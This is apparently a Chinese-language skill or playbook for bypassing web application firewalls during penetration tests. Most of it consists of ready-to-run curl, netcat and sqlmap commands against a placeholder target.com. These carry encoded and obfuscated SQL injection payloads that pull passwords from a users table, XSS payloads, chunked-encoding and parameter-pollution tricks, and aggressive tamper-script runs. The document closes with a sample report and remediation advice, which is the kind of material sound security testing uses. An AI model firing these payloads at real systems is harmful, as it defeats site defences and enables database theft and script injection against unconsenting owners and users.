| name | performing-web-application-firewall-bypass |
| description | 使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["waf-bypass","waf-evasion","sql-injection","xss","payload-obfuscation","encoding-bypass","web-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 Web 应用防火墙绕过(Performing Web Application Firewall Bypass)
适用场景
- 当已确认的漏洞被 WAF 基于签名的检测所拦截时
- 在渗透测试中 WAF 阻止了对已知问题的利用时
- 评估 WAF 规则对抗逃逸技术的有效性时
- 在需要绕过外围安全控制的红队演习期间
- 测试自定义 WAF 规则的完整性和抗绕过能力时
前置条件
- Burp Suite Professional(集成 SQLMap)
- wafw00f(用于 WAF 指纹识别)
- SQLMap(配合 tamper 脚本实现自动化 WAF 绕过)
- 了解 WAF 检测机制(签名、正则、行为分析)
- 针对各攻击类型的编码和混淆技术集合
- 熟悉可用于逃逸的 HTTP 协议细节
工作流程
步骤 1 — 识别和指纹识别 WAF
wafw00f http://target.com
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"
curl "http://target.com/page?id=1' OR 1=1--" -v
步骤 2 — 使用编码和混淆绕过
curl "http://target.com/page?id=1%27%20OR%201%3D1--"
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"
curl -X POST http://target.com/search \
-d "q=<script>alert(1)</script>"
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"
curl "http://target.com/page?id=1'%00 OR 1=1--"
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
步骤 3 — 使用 HTTP 方法和协议技巧绕过
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80
curl -X POST http://target.com/page \
-H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
-d "id=1' OR 1=1--"
curl -X POST http://target.com/page \
-F "id=1' OR 1=1--"
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
步骤 4 — 使用载荷分割和 HPP 绕过
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"
curl -X POST http://target.com/api/query \
-H "Content-Type: application/json" \
-d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt":"", "$where":"1==1"}}'
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d "<data><id>1' UNION SELECT password FROM users--</id></data>"
步骤 5 — 使用 SQLMap Tamper 脚本
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between
sqlmap -u "http://target.com/page?id=1" \
--tamper=randomcase,space2comment,between,charunicodeencode \
--random-agent --level 5 --risk 3
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,randomcase \
--delay=2 --random-agent \
--technique=B --batch
步骤 6 — XSS WAF 绕过技术
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"
curl "http://target.com/page?q=<script>alert\x601\x60</script>"
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"
curl "http://target.com/page?q=<img src=x onerror=alert(1)>"
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"
核心概念
| 概念 | 定义 |
|---|
| 签名逃逸(Signature Evasion) | 混淆载荷以避免匹配 WAF 正则规则 |
| 编码绕过(Encoding Bypass) | 使用 URL、Unicode 或 HTML 编码伪装恶意字符 |
| 协议级绕过(Protocol-Level Bypass) | 利用 HTTP 协议特性(分块编码、方法覆盖) |
| Tamper 脚本(Tamper Scripts) | SQLMap 模块,用于变换载荷以规避特定 WAF 规则 |
| Content-Type 混淆(Content-Type Confusion) | 以 WAF 未检查的非预期内容类型发送载荷 |
| 参数污染(Parameter Pollution) | 将载荷拆分到重复参数中以规避单参数检查 |
| 行为检测 vs 签名检测(Behavioral vs Signature) | WAF 检测模式:模式匹配(可绕过)vs 异常检测(更难绕过) |
工具与系统
| 工具 | 用途 |
|---|
| wafw00f | WAF 指纹识别 |
| SQLMap | 自动化 SQL 注入,配合 WAF 绕过 tamper 脚本 |
| waf-bypass.com | 社区维护的 WAF 绕过载荷数据库 |
| Awesome-WAF | WAF 绕过技术整理的 GitHub 仓库 |
| Burp Suite | HTTP 代理,用于手工构造载荷和分析 WAF 响应 |
| XSStrike | 具备 WAF 检测和绕过能力的 XSS 扫描器 |
常见场景
- 通过 JSON 注入 SQLi — 在 JSON 请求体中发送 SQL 注入载荷,绕过未检查 JSON 的 WAF 规则
- 通过事件处理器执行 XSS — 使用 WAF 签名规则未覆盖的替代 HTML 事件处理器(onpageshow、onanimationstart)
- 编码链绕过 — 叠加多层编码(URL + Unicode + HTML 实体)以逃过 WAF 的每一层解码
- 分块传输绕过 — 将恶意载荷分散到 HTTP 分块传输编码的各个片段中,规避模式匹配
- 方法覆盖 — 通过 WAF 不检查的 PUT/PATCH 方法或自定义请求头发送攻击载荷
输出格式
## WAF 绕过评估报告
- **目标**:http://target.com
- **识别的 WAF**:Cloudflare(via cf-ray header)
- **已实现绕过**:是
### WAF 检测结果
| 载荷类型 | 是否被拦截 | 是否找到绕过 |
|-------------|---------|-------------|
| 基础 SQLi | 是 | 是(JSON 编码) |
| UNION SELECT | 是 | 是(内联注释) |
| XSS <script> | 是 | 是(SVG onload) |
| 路径遍历 | 否 | 不适用(未被拦截) |
### 成功绕过载荷
| # | 原始载荷(被拦截) | 绕过载荷 | 技术 |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL 版本注释 |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | 替代标签+事件处理器 |
### 修复建议
- 在 WAF 规则中启用 JSON 请求体检查
- 在签名检测基础上实施行为分析
- 增加对非常见 HTML 标签和事件处理器的规则
- 对所有 HTTP 方法启用深度内容检查
- 在规则评估前实施请求规范化处理